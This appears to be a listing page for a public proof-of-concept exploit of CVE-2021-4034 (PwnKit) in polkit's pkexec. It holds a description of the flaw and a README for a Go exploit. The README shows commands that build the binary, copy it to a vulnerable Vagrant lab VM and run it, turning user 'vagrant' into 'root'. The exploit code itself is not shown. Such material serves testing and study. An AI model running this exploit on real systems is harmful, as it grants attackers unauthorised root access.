CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.

Description

Exploit for the PwnKit vulnerability, CVE-2021-4034, written in Go

Readme

### Pwnkit-go

This is a working exploit for the pwnkit vulnerability, CVE-2021-4034, written in Go

Give it a try:

```sh
# create a vulnerable vagrant machine
$ make vm
...

# build the binary and scp it to the vagrant box
$ make scp

# ssh onto the vagrant box
$ make ssh

# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant

# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root
```

File Snapshot

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